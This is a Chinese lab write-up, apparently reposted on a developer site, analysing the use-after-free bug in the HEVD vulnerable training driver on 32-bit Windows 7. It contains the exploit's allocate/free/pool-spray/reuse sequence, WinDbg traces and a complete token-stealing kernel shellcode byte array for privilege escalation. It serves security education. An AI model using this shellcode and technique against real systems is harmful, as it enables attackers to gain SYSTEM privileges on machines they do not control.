内容简介:Win 10 64位 主机 + win 7 32位虚拟机Windbg:调试器
环境准备
Win 10 64位 主机 + win 7 32位虚拟机
Windbg:调试器
VirtualKD-3.0:双击调试工具
InstDrv:驱动安装,运行工具
HEVD:一个Windows内核漏洞训练项目,里面几乎涵盖了内核可能存在的所有漏洞类型,非常适合我们熟悉理解Windows内核漏洞的原理,利用技巧等等
漏洞简单分析
漏洞代码
typedef struct _USE_AFTER_FREE { FunctionPointer Callback; CHAR Buffer[0x54]; } USE_AFTER_FREE, *PUSE_AFTER_FREE; NTSTATUS UseUaFObject() { NTSTATUS Status = STATUS_UNSUCCESSFUL; PAGED_CODE(); __try { if (g_UseAfterFreeObject) { DbgPrint("[+] Using UaF Object\n"); DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject); DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback); DbgPrint("[+] Calling Callback\n"); if (g_UseAfterFreeObject-> Callback) { g_UseAfterFreeObject->Callback(); } Status = STATUS_SUCCESS; } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
以上代码就可能出现Use After Free, g_UseAfterFreeObject虽然被释放,但是如果没有设置为NULL,然后再调用 Callback(), 而callback的值我们又可以控制,那么我们就能利用该漏洞。
- 漏洞调试与利用
正如Use after Free字面上的意思,该漏洞形成的原因是空间被释放后,再次被使用。所以本实例代码的流程大致如下:
实际上,该种漏洞利用起来并没有那么容易,只是在HEVD中,已经人为制造了相关利用条件。
我们先大致看下利用代码过程。
(1)申请空间
// 创建对象 // 调用 AllocateUaFObject对象 //__debugbreak(); DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
(2)释放空间
// 调用FreeUaFObject // 释放对象 DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
(3)覆盖空间内容
// 先编写ShellCode PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE)); fakeG_UseAfterFree->countinter = ShellCode; RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'B'); // 喷射 //__debugbreak(); for (int i = 0; i < 5000; i++) { DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL); }
(4)再次使用空间
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
这里我们重点讲下(3)中的覆盖空间,这里其实就是利用堆喷的技巧,之前研究 HEVD 池溢出分析 (https://www.anquanke.com/post/id/170446) 的时候,我们已经说过。假设我们有一个大小n的内核pool chunk A, 然后释放该chunk。 当我们再次申请同样大小的chunk时,就有可能又会申请到A,只是概率较低,但是如果我们大量申请同样大小的chunk,就有很大的概率又申请到A空间。
我们再次回到代码中去,我们知道g_UseAfterFreeObject是一个全局变量,其值是调用 ExAllocatePoolWithTag() 函数申请的。然后调用
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
函数释放该空间,但是并未将g_UseAfterFreeObject的值设置为NULL,然后门申请大量与g_UseAfterFreeObject空间相同的空间,并填充我们构造的值,我们会发现g_UseAfterFreeObject指向的内容已经被改变,变成了我们的值,如果再次调用 g_UseAfterFreeObject -> Callback() 的话,就会执行我们的代码。
下面我们使用windbg简单跟踪调试下:
我们下三个断点(这里强调下,驱动代码是我自己编译的,有符号表,所以可以直接对函数名下断点,如果你是网上直接下的驱动,需要自己定位偏移)
bp HEVD!AllocateUaFObject
bp HEVD!FreeUaFObject
bp HEVD!UseUaFObject
运行利用程序,程序首先断在NTSTATUS AllocateUaFObject()函数处,
P 单步执行到
我们看下
g_UseAfterFreeObject的值,
kd> dd g_UseAfterFreeObject 96773008 85d47338 00000000 00000000 00000000 96773018 00000000 00000000 00000000 00000000 96773028 00000000 00000000 00000000 00000000 96773038 00000000 00000000 00000000 00000000 96773048 00000000 00000000 00000000 00000000 96773058 00000000 00000000 00000000 00000000 96773068 00000000 00000000 00000000 00000000 96773078 00000000 00000000 00000000 00000000 kd> dt HEVD!PUSE_AFTER_FREE 96773008 0x85d47338 +0x000 Callback : 0x967751bc void HEVD!UaFObjectCallback+0 +0x004 Buffer : [84] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
再看下其所在的pool chunk
kd> !pool 85d47338 Pool page 85d47338 region is Nonpaged pool 85d47000 size: 2e8 previous size: 0 (Allocated) Thre (Protected) 85d472e8 size: 48 previous size: 2e8 (Free) .... *85d47330 size: 60 previous size: 48 (Allocated) *Hack Owning component : Unknown (update pooltag.txt) 85d47390 size: f8 previous size: 60 (Free) Thre 85d47488 size: 2e8 previous size: f8 (Allocated) Thre (Protected) 85d47770 size: 88 previous size: 2e8 (Free) Io 85d477f8 size: 2f8 previous size: 88 (Allocated) usbp 85d47af0 size: 510 previous size: 2f8 (Free) XSav
大小为60h = 96 = 8(pool chunk header) + sizeof(USE_AFTER_FREE)。
状态为 Allocated 的。
Kd>g 继续执行,程序断在NTSTATUS FreeUaFObject()处
P单步运行程序到释放空间后,再观察g_UseAfterFreeObject的pool chunk信息
kd> dt HEVD!PUSE_AFTER_FREE 96773008 0x85d47338 +0x000 Callback : (null) +0x004 Buffer : [84] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" kd> !pool 85d47338 Pool page 85d47338 region is Nonpaged pool 85d47000 size: 2e8 previous size: 0 (Allocated) Thre (Protected) 85d472e8 size: 48 previous size: 2e8 (Free) .... *85d47330 size: 60 previous size: 48 (Free ) *Hack Owning component : Unknown (update pooltag.txt) 85d47390 size: f8 previous size: 60 (Free) Thre 85d47488 size: 2e8 previous size: f8 (Allocated) Thre (Protected) 85d47770 size: 88 previous size: 2e8 (Free) Io 85d477f8 size: 2f8 previous size: 88 (Allocated) usbp 85d47af0 size: 510 previous size: 2f8 (Free) XSav
Pool chunk的状态已经由 Allocated 变成了 Free 。
Kd>g 继续执行程序,程序断在NTSTATUS UseUaFObject()处,此时程序堆喷代码已经被执行完成。再次观察g_UseAfterFreeObject的内容
kd> dt HEVD!PUSE_AFTER_FREE 96773008 0x85d47338 +0x000 Callback : 0x003c1f90 void +d0000 +0x004 Buffer : [84] "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" kd> !pool 85d47338 Pool page 85d47338 region is Nonpaged pool 85d47000 size: 2e8 previous size: 0 (Allocated) Thre (Protected) 85d472e8 size: 48 previous size: 2e8 (Free) .... *85d47330 size: 60 previous size: 48 (Allocated) *Hack Owning component : Unknown (update pooltag.txt) 85d47390 size: 38 previous size: 60 (Free) Thre 85d473c8 size: 60 previous size: 38 (Allocated) Hack
可见g_UseAfterFreeObject的内容已经被我们的堆喷内容覆盖了,即我们大量申请相同的空间时,重新申请到了之前g_UseAfterFreeObject所在的位置。
0x003c1f90地址处正是我们的shellcode内容
kd> uf 0x003c1f90 003c1f90 53 push ebx 003c1f91 56 push esi 003c1f92 57 push edi 003c1f93 90 nop 003c1f94 90 nop 003c1f95 90 nop 003c1f96 90 nop 003c1f97 60 pushad 003c1f98 64a124010000 mov eax,dword ptr fs:[00000124h] 003c1f9e 8b4050 mov eax,dword ptr [eax+50h] 003c1fa1 8bc8 mov ecx,eax 003c1fa3 ba04000000 mov edx,4 003c1fa8 8b80b8000000 mov eax,dword ptr [eax+0B8h] 003c1fae 2db8000000 sub eax,0B8h 003c1fb3 3990b4000000 cmp dword ptr [eax+0B4h],edx 003c1fb9 75ed jne 003c1fa8 Branch 003c1fbb 8b90f8000000 mov edx,dword ptr [eax+0F8h] 003c1fc1 8991f8000000 mov dword ptr [ecx+0F8h],edx 003c1fc7 61 popad 003c1fc8 c3 ret
这里可以看到,我们的shellcode前面多了三行 push 代码,这是因为,我们的shellcode是以函数的形式调用的,在进入函数的时候,自动有入栈的push操作,这个实例中多的这三行代码并没有影响代码执行。
但是有时候多的代码也会影响程序的流程,造成漏洞利用失败,这时我们可以把shellcode放到数组中,然后调用。
char shellcode[] = "\x90\x90\x90\x90" //# NOP Sled "\x60" //# pushad "\x64\xA1\x24\x01\x00\x00" //# mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" //# mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" //# mov ecx, eax(Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" //# mov ebx, [eax + TOKEN_OFFSET] "\xBA\x04\x00\x00\x00" //# mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" //# mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00" //# sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00" //# cmp[eax + PID_OFFSET], edx "\x75\xED" //# jnz "\x8B\x90\xF8\x00\x00\x00" //# mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" //# mov[ecx + TOKEN_OFFSET], edx "\x61" //# popad "\xC3"; //# ret
最后贴个成功提权的图:
参考文章
[1]. https://bbs.pediy.com/thread-247019.htm
利用代码:https://github.com/redogwu/blog_exp_win_kernel/blob/master/kernel_uaf_1.cpp
以上所述就是小编给大家介绍的《HEVD UAF漏洞分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
JavaScript实战
Frank W. Zammetti / 张皛珏 / 人民邮电出版社 / 2009-8 / 59.00元
随着Ajax的兴起,JavaScript迅速地从改进网站的配角晋升为开发专业级高质量应用的主角,成为了Web开发中不可缺少的一员。 本书主要通过10个具体项目,包括构建可扩展的JavaScript库、使用GUI窗口小部件框架、开发支持拖放的购物车和编写JavaScript游戏等,讲述JavaScript最佳实践、Ajax技术,以及一些流行的JavaScript库,如Rico、Dojo、scr......一起来看看 《JavaScript实战》 这本书的介绍吧!